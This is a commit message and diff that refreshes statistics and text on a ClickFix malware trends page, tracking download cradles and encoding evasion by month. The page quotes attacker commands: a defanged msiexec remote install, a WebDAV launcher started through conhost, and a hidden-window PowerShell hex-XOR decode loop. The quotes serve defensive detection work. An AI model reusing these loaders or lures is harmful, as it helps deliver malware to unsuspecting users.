feat(clickgrab): refresh cradle behaviour to the 2026-07-17 Carson export

Rebuild the clean per-domain command classification from the July 17 Carson
ClickFix Hunter export via build_domain_monthly.py (manual/local, not CI).
3,321 -> 3,777 domains; June completed (74 -> 424, the prior export only had
June through the 16th), July added. domain_monthly / domain_cradles_total /
domain_evasion_totals refreshed; payload_examples / daily / staging_domains
byte-preserved.

The trend this surfaces: the cradle mix rotated back to remote download cradles.
IWR is 28% of June domains and 36% of July, WebClient 15% then 24%, curl 33% in
July, while msiexec (the late-2025 story) fell to <=1% since May and 0% in July.
The spring inline-encoding wave (base64's one-month May campaign, hex-XOR heavy
Apr-May) faded to near-zero by July.

Completing June corrected two now-false hardcoded claims: hex-XOR did NOT climb
"back to 84% in June" -- that was the partial n=74 export; complete June is 16%
(69/424), declining to 0% July. Fixed both spots, extended the msiexec trajectory
through July, and added a callout for the summer remote-fetch reversal.

Verified: historical months (through May) byte-stable, cradle + evasion charts
screenshot-verified (June IWR resurgence and hex-XOR decline render correctly),
0 console errors.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bx33CDbC3G8DQMQMARewof

_data/clickgrab_trends.yml

@@ -1,6 +1,6 @@
-# Generated by scripts/analyze_clickgrab.py (baseline + append; see DECISIONS #011)
-# Sources: MHaggis ClickGrab nightly reports (raw blobs) + Carson ClickFix domain gist
-# Historical sections (payload_examples, domain_monthly, staging_domains) are frozen baseline.
+# Generated by scripts/analyze_clickgrab.py (volume) + build_domain_monthly.py (behaviour).
+# domain_monthly / domain_*_total are the CLEAN per-domain command classification from
+# Carson's ClickFix Hunter export and drive the page charts/cards (see DECISIONS #012).
 
 meta:
   source: https://mhaggis.github.io/ClickGrab/
@@ -8,15 +8,15 @@ meta:
   total_reports: 548
   total_sites_crawled: 26969
   total_malicious: 22772
-  total_domains: 3321
+  total_domains: 3777
   generated: '2026-07-13'
   appended_through: '2026-07-13'
   carson_landscape: 3736
   carson_updated: '2026-07-09T04:00:44Z'
   carson_lure_overlap: 64
   carson_lure_observed: 96
-  domain_source: clickfix-domains-all-2026-06-16.xlsx
-  domain_updated: '2026-06-16'
+  domain_source: clickfix-domains-all-2026-07-17.xlsx
+  domain_updated: '2026-07-17'
 daily:
 - date: '2025-04-17'
   total_sites: 39
@@ -5228,18 +5228,31 @@ domain_monthly:
   no_url: 488
   no_url_pct: 92.4
 - month: 2026-06
-  n: 74
-  iwr: 1
-  irm: 3
-  webclient: 2
-  curl: 1
+  n: 424
+  iwr: 119
+  irm: 47
+  webclient: 63
+  curl: 2
+  msiexec: 5
+  mshta: 0
+  vbs: 2
+  hex_xor: 69
+  base64: 2
+  no_url: 143
+  no_url_pct: 33.7
+- month: 2026-07
+  n: 106
+  iwr: 38
+  irm: 6
+  webclient: 25
+  curl: 35
   msiexec: 0
   mshta: 0
-  vbs: 0
-  hex_xor: 62
+  vbs: 1
+  hex_xor: 0
   base64: 1
-  no_url: 65
-  no_url_pct: 87.8
+  no_url: 13
+  no_url_pct: 12.3
 staging_domains:
 - domain: irp[.]cdn-website[.]com
   count: 468
@@ -5715,14 +5728,14 @@ monthly:
     start_sleep: 22
     hidden_window: 48
 domain_cradles_total:
-  iwr: 187
-  irm: 146
-  webclient: 250
-  curl: 267
-  msiexec: 1054
+  iwr: 343
+  irm: 196
+  webclient: 336
+  curl: 303
+  msiexec: 1059
   mshta: 127
-  vbs: 364
+  vbs: 367
 domain_evasion_totals:
-  hex_xor: 340
-  base64: 454
-  no_url: 1056
+  hex_xor: 347
+  base64: 456
+  no_url: 1147

trends/clickgrab.md

@@ -314,6 +314,10 @@ details[open] > summary { margin-bottom: 0.4rem; }
   <strong>The chokepoint didn't move.</strong> IWR → WebClient → Curl → IWR again. The download method rotated three times in six months. The detection signal didn't change once: PowerShell process spawned by an unusual parent (explorer.exe, cmd.exe from Run dialog) making an outbound HTTP connection. That's the difference between detecting the tool and detecting the behavior.
 </div>
 
+<div class="cg-callout cg-callout--alert">
+  <strong>Summer 2026: rotation back to remote fetch.</strong> After the spring pivot to inline encoded payloads (April-May ran 65-92% no-remote-fetch), delivery swung back to download cradles. IWR climbed to 28% of June domains and 36% of July, WebClient to 15% then 24%, curl to 33% in July, while inline payloads dropped to 12%. Meanwhile msiexec, the late-2025 story, is finished: a brief 14% April blip, then 1% or less every month after, 0% in July. Same cradle families cycling on the same clipboard-to-execution invariant. Nothing new to detect, just old branches getting picked back up. (July is a partial month, exported mid-month, so treat its shares as directional.)
+</div>
+
 <!-- ── Chart C: Evasion Technique Trends ─────────────────────────────── -->
 <h2 id="evasion">Evasion Technique Trends: Where Adversaries Are Adapting</h2>
 <p>Think of this chart as a conversation between attackers and defenders. Rising lines = defenders forced a change. Flat lines with spikes = a specific campaign tried something, then moved on. The trends tell you which evasion techniques are gaining traction and which were one-off experiments.</p>
@@ -328,7 +332,7 @@ details[open] > summary { margin-bottom: 0.4rem; }
 </div>
 
 <div class="cg-callout cg-callout--warn">
-  <strong>The May base64 spike was one campaign, not a re-tooling.</strong> Hex-XOR (<code>-bxor</code>) is the persistent inline encoder of spring 2026: absent before March, then 16% of March domains, <strong>54% in April</strong> (97/181), 22% in May, and back to <strong>84% in June</strong> (62/74). Base64 stayed in the single digits (9% March, 8% April) until May, when it spiked to <strong>67%</strong> (354/528) almost entirely on one token (<code>frombase64string</code>, 352 of 354) before collapsing to 1% in June. The two encoders barely overlap (2 of May's 354 base64 domains also use hex-XOR), so this reads as a single base64 campaign cluster passing through, not a durable shift. Either way, if your rules match plaintext <code>iwr https://</code> strings you're seeing the encoded version now, not the decoded cradle. Detect the encoding act, not the encoder: <code>[Convert]::FromBase64String</code> piped to <code>iex</code>, the <code>-bxor</code> decode loop, or <code>-enc</code> from an unusual parent. The content is opaque; the execution context isn't.
+  <strong>The spring inline-encoding wave passed.</strong> Base64 spiked to <strong>67%</strong> of May domains (354/528), almost entirely one token (<code>frombase64string</code>, 352 of 354), then collapsed to near-zero (0% June, 1% July). It barely overlapped hex-XOR (2 of May's 354 base64 domains also used <code>-bxor</code>), so it reads as a single campaign cluster passing through, not a re-tooling. Hex-XOR ran its own arc, heavy through April and May (<strong>54% of April domains</strong> at 97/181, still 116 sites in May) before falling off through the summer: 16% June, 0% July. Neither inline encoder stuck. By July inline encoding is essentially gone and delivery has swung back to plaintext remote cradles (see the cradle chart above). The lesson holds either way: detect the encoding act, not the encoder. <code>[Convert]::FromBase64String</code> piped to <code>iex</code>, the <code>-bxor</code> decode loop, or <code>-enc</code> from an unusual parent. The content is opaque; the execution context isn't.
 </div>
 
 <div class="cg-callout cg-callout--warn">
@@ -344,7 +348,7 @@ details[open] > summary { margin-bottom: 0.4rem; }
 <pre class="logic-block rounded-lg p-4 overflow-x-auto text-[.8rem]"><code>msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/</code></pre>
 
 <div class="cg-callout cg-callout--alert">
-  <strong>Same chokepoint, different binary.</strong> <code>msiexec.exe</code> spawning from <code>cmd.exe</code> or Run dialog, fetching an MSI from a non-enterprise URL. That's the same parent→child process execution chokepoint (T1059/T1218) as the PowerShell cradles. The invariant is the process relationship, not the binary name. Oct 18% → <strong>Nov 87%</strong> → Dec 34% → Jan 24% → Feb 29% → Mar 2%.
+  <strong>Same chokepoint, different binary.</strong> <code>msiexec.exe</code> spawning from <code>cmd.exe</code> or Run dialog, fetching an MSI from a non-enterprise URL. That's the same parent→child process execution chokepoint (T1059/T1218) as the PowerShell cradles. The invariant is the process relationship, not the binary name. Oct 18% → <strong>Nov 87%</strong> → Dec 34% → Jan 24% → Feb 29% → Mar 2% → Apr 14% → 1% or less May through July (0% in July).
 </div>
 
 <h3>WScript/VBS: A Failed Diversification (Dec 2025 – Feb 2026)</h3>
@@ -354,7 +358,7 @@ details[open] > summary { margin-bottom: 0.4rem; }
 <h2 id="inline">Strategic Shift: Inline Payloads Bypassing Network Fetch Detection</h2>
 <p>Here's the finding that changes the detection calculus: <strong>92% of May 2026 domains have no URL in the clipboard command at all.</strong> Up from 28% in August. The payload is entirely inline. The user pastes everything needed, and nothing reaches out to a staging server. Your network-fetch detection? It never fires.</p>
 
-<p>Base64 accounted for 67% of May domains (354/528), but that was a single-campaign spike (see above) - by June it collapsed to 1% while <strong>hex XOR</strong> (<code>$k/$d</code> variable patterns with <code>-bxor</code> decoding, 65 instances in March) climbed back to 84%. A newer <strong>WebDAV delivery</strong> variant also appears, using <code>conhost --headless cmd /c "pushd \\IP@port\DavWWWRoot &amp;&amp; start GoogleUpdate"</code> - no PowerShell, no HTTP, nothing to intercept at the network layer. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:</p>
+<p>Base64 accounted for 67% of May domains (354/528), but that was a single-campaign spike (see above) - by June it collapsed to near-zero while <strong>hex XOR</strong> (<code>$k/$d</code> variable patterns with <code>-bxor</code> decoding, 65 instances in March) held around 16% before fading to zero by July. A newer <strong>WebDAV delivery</strong> variant also appears, using <code>conhost --headless cmd /c "pushd \\IP@port\DavWWWRoot &amp;&amp; start GoogleUpdate"</code> - no PowerShell, no HTTP, nothing to intercept at the network layer. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:</p>
 
 <pre class="logic-block rounded-lg p-4 overflow-x-auto text-[.8rem]"><code>powershell -w hidden &lt;# I am not a robot - Cloudflare ID: 8e3f2a #&gt; $k='xK9mP2';$d='4a5b6c...';
 $b=[byte[]]@();for($i=0;$i-lt$d.Length;$i+=2){$b+=[byte]("0x"+$d.Substring($i,2))-bxor[byte]$k[$i%$k.Length]};